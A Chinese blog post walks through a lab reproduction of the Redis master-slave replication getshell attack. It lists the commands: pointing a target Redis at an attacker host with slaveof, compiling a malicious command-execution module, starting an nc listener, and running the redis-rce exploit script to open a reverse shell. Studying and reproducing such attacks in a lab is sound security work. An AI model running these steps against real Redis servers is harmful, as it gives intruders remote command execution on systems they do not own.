redis主从复制getshell复现

简介:

Redis主从复制

Redis是一个使用ANSI

C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

复现过程:

redis主机:kali  192.168.119.158

redis从机:centos7  192.168.119.155

0x1、分别安装并开启redis数据库,注意4.X以上需要关闭保护模式,否则就会这样;


在redis.conf文件里关闭保护模式

0x2、在kali上连接靶机redis服务,并设置主从状态(将kali设置为redis主机)

redis-cli -h 192.168.119.155

slaveof 192.168.119.158 6379


设置主从状态

0x3、在kali上编译恶意代码

下载地址:https://github.com/RicterZ/RedisModules-ExecuteCommand

git clone https://github.com/RicterZ/RedisModules-ExecuteCommand


下载源码

编译源代码

make



生成module.so文件

0x4、使用利用工具进行getshell

下载地址:https://github.com/Ridter/redis-rce

git clone https://github.com/Ridter/redis-rce

将module.so文件放到利用工具目录下

利用方法:

在kali上使用nc-lvvp 4444 开启4444监听端口等待反弹shell

然后执行exp脚本

python redis-rce.py -r 192.168.119.155 -L 192.168.119.158 -f module.so


填写反弹IP及端口


反弹成功

ps:利用工具里的so文件也可以用;

参考文章:

https://www.anquanke.com/post/id/181734

https://paper.seebug.org/975/

你或许想:《去原作者写文章的地方

众多回忆的食堂故事下载
「点点赞赏,手留余香」

    还没有人赞赏,快来当第一个赞赏的人吧!
pandas
0 条回复 A 作者 M 管理员
    所有的伟大,都源于一个勇敢的开始!
欢迎您,新朋友,感谢参与互动!欢迎您 {{author}},您在本站有{{commentsCount}}条评论